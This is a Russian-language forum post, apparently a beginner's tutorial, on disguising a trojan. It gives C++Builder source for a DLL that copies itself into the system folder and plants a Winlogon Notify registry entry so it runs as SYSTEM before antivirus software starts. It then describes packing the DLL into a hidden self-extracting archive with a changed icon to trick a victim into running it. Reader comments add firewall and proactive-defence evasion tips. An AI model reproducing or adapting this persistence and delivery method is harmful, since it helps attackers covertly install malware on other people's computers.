И так прошу не судить строго это моя первая статья
Итак что нам нужно от маскировки трояна?
1. обход антивирусов
2. невидимость в процессах
Начнем со второго
для начала откажитесь от мысли прятать исполняемый файл, даже если вы спрячите его от таскменегера, то есть куча различных утилит позволяющих его узреть. Значит мы пришли к выводу что делать будем не екзешник (забегу вперед и скажу что после небольших действий в конце концов жертве вы будете впаривать всеже екзе файл)
Итак приступим как сделать так чтобы наш трой не был отдельным процессом да написать его в виде dll и попросить winlogon загружать его. таким образом наш код будет стартовать раньше антивирусов и файерволов, и иметь права winloghon'a а это system.
итак приступим (я писал в cbuildere):
#include <vcl.h>
#include <process.h>
#include <stddef.h>
#include <windows.h>
#include <ExtCtrls.hpp>
#pragma comment(lib,«MEMMGR.LIB»)
#pragma hdrstop
typedef struct _WLX_NOTIFICATION_INFO
{
ULONG Size ;
ULONG Flags ;
PWSTR UserName ;
PWSTR Domain ;
PWSTR WindowStation ;
HANDLE hToken ;
HDESK hDesktop ;
int pStatusCallback ;
} WLX_NOTIFICATION_INFO, * PWLX_NOTIFICATION_INFO ;
extern «C» __declspec(dllexport) LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo);
//---
#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void install(String sys)
{
TRegistry *reg = new TRegistry(KEY_WRITE);
char name[MAX_PATH];
String str;
try
{
//копирование в системную папку
GetModuleFileName(HInstance, name, sizeof(name));
if (sys!=ExtractFileDir(name))
{
str=ExtractFileName(name);
str=sys+""+str;
CopyFile(name,str.c_str(),0);
ShellExecute((void *)0,«open»,str.c_str(),NULL,NULL,0);
ExitProcess(0);
}
//добавление в автозапуск
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey(«software»,true);
reg->OpenKey(«Microsoft»,true);
reg->OpenKey(«Windows NT»,true);
reg->OpenKey(«CurrentVersion»,true);
reg->OpenKey(«Winlogon»,true);
reg->OpenKey(«Notify»,true);
reg->OpenKey(«ms32»,true);
reg->WriteString(«DLLName»,name);
reg->WriteString(«Startup»,«load»);
reg->WriteInteger(«Impersonate»,1);
reg->WriteInteger(«Asynchronous»,1);
reg->WriteInteger(«MaxWait»,1);
}
__finally{}
delete reg;
}
//---------------------------------------------------------------------------
LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo)
{
char sysdir[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
install(sysdir);
//здесь код вашего трояна
}
вот он не сложный код для вашего будущего коня
основная функции должена принимать параметр типа "_WLX_NOTIFICATION_INFO" иначе winlogon не будет с ней работать
(причем совершенно не обязательно чтобы она с ним работала ;) )
далее мы прописываем в реестре несколько нужных нам строк дабы winlogon общался с нашей dll.
А теперь как ее превратить в исполняемый файл (ведь не понесете же вы ее к жертве в виде dll)
на самом деле это совершенно просто мы создадим sfx архив.
1. Это уменьшит вес нашего файла раза в 2.
2. позволит первый раз запустить нашу лошадку как exe
добавляем в архив (я пользуюсь winrar'ом), максимальный, sfx.
В параметрах пишем:
путь для распаковки %windir%
после распаковки выплнить rundll32 имя dll, имя функции(в нашем случае load).
далее просим скрыть все процессы
и перезаписывать без вопросов
меняем иконку
и все трой готов
12 комментариев
Убить его можно и проще- выгружаем dll, удаляем её и ключ! Как видишь перезагрузка не требуется.
А разве возможно выгрузить dll код которой исполняется в текущий момент?
А насчет проактивки я имел в виду не то что она совсем не палит реестр, а палит лиш важные ветки и эту (почемуто) вродебы таковой не считает.
И насчет оутпоста грузиться он раньше, а вот подгружает политики позже ;) тоесть наш трой открывает порт раньше чем его блокируют (хотя потом он его все равно заблочит, но мона успеть подключиться).
А тематика статьи вродебы не расходиться с тематикой портала (хотя название говно-трояно-кодер мне нравиться предлагаю так и называть скрипткидеров ;))
По поводу выгрузки dll я как-то не задумывался(просто не вижу преград), вечером попробую(крайний срок завтра) и отпишу.
Ну а контроль компонентов не жалуется на левую dll в адресном пространстве?
SVCHOST.exe может устанавливать любые подключения.